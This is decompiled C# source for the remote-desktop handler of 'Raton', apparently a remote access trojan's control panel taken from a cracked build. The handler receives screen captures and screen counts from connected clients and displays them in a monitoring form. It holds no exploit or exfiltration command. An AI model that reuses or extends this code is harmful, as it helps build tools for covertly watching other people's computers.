// Decompiled with JetBrains decompiler
// Type: Server.Handlers.HandleDesktop
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe

using Raton.Forms.ClientForms.Monitor;
using Server.Connection;
using Stuff;
using System;
using System.Drawing;
using System.IO;
using System.Linq;
using System.Windows.Forms;

#nullable disable
namespace Server.Handlers;

internal class HandleDesktop
{
  private bool screensSaved;

  public void Run(SillyClient client, Unpack unpack)
  {
    if (unpack.GetAsString("Packet") != "RemoteDesktop")
      return;
    string asString = unpack.GetAsString("Action");
    string uid = unpack.GetAsString("UID");
    ratonDesktop form = (ratonDesktop) null;
    if (Application.OpenForms.Count > 0)
    {
      Form openForm = Application.OpenForms[0];
      if (openForm.InvokeRequired)
        openForm.Invoke((Delegate) (() => form = Application.OpenForms.OfType<ratonDesktop>().FirstOrDefault<ratonDesktop>((Func<ratonDesktop, bool>) (f => f.Text.StartsWith("Remote desktop | Client ID: " + uid) && !f.IsDisposed))));
      else
        form = Application.OpenForms.OfType<ratonDesktop>().FirstOrDefault<ratonDesktop>((Func<ratonDesktop, bool>) (f => f.Text.StartsWith("Remote desktop | Client ID: " + uid) && !f.IsDisposed));
    }
    if (form == null)
      return;
    if (form.SillyClient == null)
      form.SillyClient = client;
    if (asString == "Screens")
      this.HandleScreens(form, unpack);
    if (!(asString == "Frame"))
      return;
    this.HandleFrame(form, unpack);
  }

  private void HandleScreens(ratonDesktop form, Unpack unpack)
  {
    if (this.screensSaved)
      return;
    int screens;
    try
    {
      screens = unpack.GetAsInteger("Screens");
    }
    catch
    {
      return;
    }
    form.BeginInvoke((Delegate) (() =>
    {
      form.flatComboBox1.Items.Clear();
      for (int index = 0; index < screens; ++index)
        form.flatComboBox1.Items.Add((object) ("RatonScreen_" + index.ToString()));
      if (screens > 0)
        form.flatComboBox1.SelectedIndex = 0;
      this.screensSaved = true;
    }));
  }

  private void HandleFrame(ratonDesktop form, Unpack unpack)
  {
    try
    {
      byte[] asByteArray = unpack.GetAsByteArray("ImageBytes");
      if (asByteArray == null || asByteArray.Length == 0)
        return;
      Image img;
      using (MemoryStream memoryStream = new MemoryStream(asByteArray))
      {
        using (Image original = Image.FromStream((Stream) memoryStream))
          img = (Image) new Bitmap(original);
      }
      form.BeginInvoke((Delegate) (() =>
      {
        lock (form.OneByOne)
        {
          form.pictureBox1.Image?.Dispose();
          form.pictureBox1.Image = img;
          form.imageSize = new Point(img.Width, img.Height);
          ++form.FPS;
        }
      }));
    }
    catch (Exception ex)
    {
      Console.WriteLine("Error");
    }
  }
}